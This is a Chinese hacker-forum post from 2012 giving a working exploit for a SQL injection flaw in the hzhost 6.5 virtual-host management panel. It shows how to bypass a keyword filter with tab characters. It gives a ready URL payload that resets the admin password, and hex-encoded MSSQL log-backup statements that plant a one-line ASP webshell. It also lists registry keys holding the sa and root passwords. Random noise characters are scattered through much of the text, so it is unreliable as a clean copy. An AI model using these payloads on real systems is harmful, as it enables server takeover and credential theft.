找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2262|回复: 0
打印 上一主题 下一主题

再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 15:03:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。
7 c: \5 C* {& B+ F8 q 只讲两个要点。
$ \7 X* W% e6 e0 H+ V第一,如何拿网站管理员权限。
3 C: V- F, H7 U* X6 z 第二,如何备份木马。
7 x; Y3 K# V3 |' A9 p 这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。( |! O1 m/ n$ e8 R% W
我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。4 \6 r$ l0 q8 a" \( b
httP://www.xxbing.com QQ1787373152 o5 ?3 N$ j5 m( M" N0 ~% d$ R
由于我写了很长,而且很累了,所以希望大家回帖鼓励一下。
* m$ Z, Y8 ?0 h3 Q------------开放浏览-------------5 N) a4 E' M" S. ], r0 a; i6 ^
漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!6 [2 `: g1 |' n+ t3 B- y; k0 u
-------------------------13-15行----------------------------3 h4 X8 u; c/ ~2 |( D
querytype=SafeRequest("querytype")  //saferequest函数接受数据
: ?, J( k# \* d# @. k. Z if chk_int(querytype)=false then  //检查是否是整数/ F* |( D! u9 A
    ErrMsg="<font color=#ff0000>对不起</font>,非法操作!..."
+ C# ^) H: b$ u; @7 R1 a -------------------------37-42行---------------------------" Z  A/ ^0 D  s, y
elseif querytype=5 then //如果类型为5。就接受qu1数据!
9 q, I) v# V5 u" y# K; v- ^; j   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!
. p; C7 m& O/ o/ j' [. b& i   1 G  Q! v/ O# y/ p3 q# Z8 U: y# \) I
    if  qu1="" then  //不能为空; B: j; J6 K7 \3 e7 T) }) N
         call errorpage(-2,"对不起,请选择参数!")
$ n  r" R7 c: N9 S  `. i: ~   end if         ' C2 e$ @3 U$ `+ \
      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!% C9 U  V+ u, Z9 S1 _! F+ e9 p
-------------------------62-65行---------------------------
* W: r2 y/ S9 F$ Z1 a; q qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
' ?* H$ G, P0 f  }6 Q! @8 b0 E if qu7<>"" then
& S7 x0 h& i  Q% Mqstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了,所以这里成了死点!!2 c$ D1 @7 _$ F0 N- u" o$ |) w
end if
/ U9 O9 h" ~& d( W$ Q --------------------------117行-----------------------------
( r7 A1 B( W7 ` query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring
, U# g# P% r4 U$ k8 U6 w# x( L( s //到这里就丢进去查询了!4 N6 e3 q5 U+ t9 \$ }9 G4 ]

" v" L& }$ Q3 a: N( V5 J1 { 来看看saferequest()函数。
2 T# ?! o! B% h; \0 T------------------incs/config.asp中-------------------------
' q7 k: a- W( Q- r2 R, k% O, }- Y- m- M Function SafeRequest(ParaName)
) v5 `  |) S# d8 O$ r' A Dim ParaValue
* X: _* J! E( o( G ParaValue=Request(ParaName)  //获取数据2 b5 [$ s% X: q9 w: j
if IsNumeric(ParaValue)  then  //如果是数字! {& j$ I! X' h6 L9 Z
SafeRequest=ParaValue  //那就不过滤,直接赋值
2 K4 [0 d* F% ^ exit Function7 Q: E, ?& `5 E; p4 L

! l% {/ K7 f# ?, V: v else
4 O: A! C6 }* i3 {4 ]! J( r ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写8 I+ Q- o$ |/ V
tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from". j# D: z* y& _/ N
//定义要过滤的字符!8 h5 W, ^: g* L2 P/ f' G
8 u. Q; z* x' x2 ~1 p8 D+ D
他过滤方式有问题。。。没有过滤 * / % / -- / ;) Q) ?( o1 @# y" \
而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。' _7 n3 J' L5 p
, ]. Q7 s3 `8 J: M
temps=split(tempvalue,"|")           //转为一维数组
7 }, E) r1 |6 }9 v2 ]0 V! | for mycount=0 to ubound(temps)       //循环读数组内数据
& f% q2 b, Q! Z if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。3 m* g2 F) z, G$ O; [! G
                 call errorpage(-2,"非法请求!!!")  //如果有则弹出提示!!% E3 m2 R# N- n+ a; q
                 response.end* x3 K$ G( b# l0 x( |  A" z: u
end if
" [% z% w' O' C5 [3 |" P9 X next
0 X, f5 m6 M9 j; o4 i SafeRequest=ParaValue) k5 c. e+ ~1 v  o- L
end if
  `/ R/ s/ S0 l& z8 [& d End function
  j1 W) T0 q/ z6 N -------------------------------------
$ }5 ^$ D& C9 B- T' p7 v. V* g
; X8 J* `6 O1 X 所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..仔细看清楚。上面过滤的是update+空格。select+空格。) I" h* [; }  |$ j
先给出查询语句的框架。; p/ R5 L- V) W7 y1 k
select * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc
  h4 q* G& m( L% V- J! G7 S
7 y' ?( g" r8 ~) @* t: t0 N 为了使语句顺利执行:+ c& j' J; s5 g
我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。) Z9 K: t+ b& u: t$ r
这里我给出条示范语句,即{我们的语句}0 z- _6 P' h( U7 k3 t- j9 n
UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E  b0 T3 I7 z2 W# z/ o+ {

" X& s! Y7 W1 A& E2 z9 N' b这条语句能够绕过saferequest函数的检测。没有出现单引号。
! E' s+ x! \6 @3 Z& |9 f8 u 我们提交:3 c  E4 @, g* x. e
http://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1# [- t0 ?$ i  J. E) c' @

0 C" `3 [! C$ E# L3 O 这句话就能够将admin的密码修改成123456$ k" Y/ e& m; R: {' z7 n: g
到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。
: f! p  K. D* x8 d5 y$ `8 x+ f 第二步是要备份挂马。
6 H9 \7 Y  l. u; S4 s9 ?: [1 @3 T 大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(1 M' k& F9 f/ B) w% V
导致备马的这条语句失败。
0 t) @. b1 L$ t2 V0 ?declare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。* g' w! n) B/ n( N
* a" A& o+ {0 g4 Y$ v. _0 p
有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。. N2 F5 f- D, o% }! i4 Y
由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(
- A! Z; T) y' p* X) n- H5 r 接下来放出详细语句。大家放入{我们的语句中}9 i# t9 P3 ^- v& t! T
第 一 步:
& ]  t9 j- G2 z) U& P" H create table [dbo].[shit_tmp] ([cmd] [image])--
# _( S& Q  ^1 \, Y 第 二 步
* U, U+ N/ J  E$ V1 A: f2 R declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--8 i# p4 h1 f$ u8 J# Y
第 三 步
2 j- v/ o9 ]4 U& x* f$ U insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--2 }4 p  U+ M4 A2 `& b3 }  e
第 四 步1 J. O  x" {3 p' F( b
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--
, ]5 x# |1 P* l+ T- A8 { 第 五 步
' `0 q6 N8 c5 ~. u' ~+ l Drop table [shit_tmp]--
* r, t9 P( [. y3 @
$ m% @+ p8 m: G) {: H2 t' s 上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。
3 n; `0 f" U8 |) U- f8 I  g4 _ 一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。
4 ]4 j% C$ e* P6 A) ? 请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》1 q0 N, l6 v7 C& Z

& T! {  x4 @3 _- ]* J( l最后是答疑部分:
0 t6 @; z7 n: N 1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。
; i! D. k+ o5 l' L9 ]/ S
: N7 r- F7 C1 D# _6 o 2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500
8 z) [7 Q- A6 o' M3 d( v6 \  | 这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:* K- }" f2 n# q4 o+ [. x  g
0x6531306164633339343962613539616262653536653035376632306638383365; X% Z$ `6 u! _/ z( J. U
大家仔细观察,会发现,其实只是去掉了一些00。。* i2 r- d; u+ v: l7 [6 C
所以大家在转换其他md5的时候,注意此问题。
1 L0 m% [6 R) m7 E7 ^, A9 J9 R: C$ e
3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。
, B3 Q/ S( e4 G. l! I0 q0 Z: u) P9 i 另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。2 z  F% ~2 G) z. ?3 a7 W
' K: ^# {! V& F( k
4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。: K- s3 @4 R$ O( _0 U8 W: M
有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。  X) F- W8 b5 ^: h' [+ |
. z/ ]$ G1 e% e/ R
5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。$ W0 |2 n# ], A& c: V6 O$ a7 F/ i

- H' p0 L: U" D( i) L8 F1 i 6::
; O/ J8 n4 b( T/ f- Y( J! Fsa密码。root密码。; F' L+ w0 V. C, Y4 T  O) e
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
* j, s" M! M3 y% r% r6 N% Q# ^ mysqlpass---root密码
% C/ S; J9 c* b mssqlpss----sa密码
) ~* _* X+ o( J/ N( x% A4 M! r1 X* h( R1 d) I2 d7 Z
/ k' k6 ?( `" F! x
7.如果路径不在D:/hzhost- a1 k* s' y3 M6 p0 d- A& _4 H7 Y
那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。1 c: [% r9 s! s+ Y) C
或者去读注册表。
* e9 I- ]! ]- y* {6 G& C" Q HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下
7 R# U  t1 A0 H2 \5 } "wwwrootpath"="e:\\wwwroot"! k/ p3 L/ ~; E: {
"urlsiteroot"="D:\\hzhost\\hzhost_url"
6 V. I% d& O, G0 i6 m2 z "ftprootpath"="e:\\ftproot"   可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)9 s8 `, z  ^$ U! r7 Q$ S$ ]
大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!
( Z; C8 `# q4 O' O
% F; r- B* t9 R7 m$ K; X 利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)  t7 n$ `/ }9 J0 N0 A3 s7 \
hzhost最新漏洞.rar+ o. ?  t$ U4 b
饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!
$ H( ^! m+ ~+ d
' m$ O) o7 {2 m2 c 最后,还是版权。
/ q$ M  o1 {2 ohttp://www.xxbing.com QQ178737315
3 e6 T" A5 b3 T6 _3 K 允许自由转载。但请注明作者。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表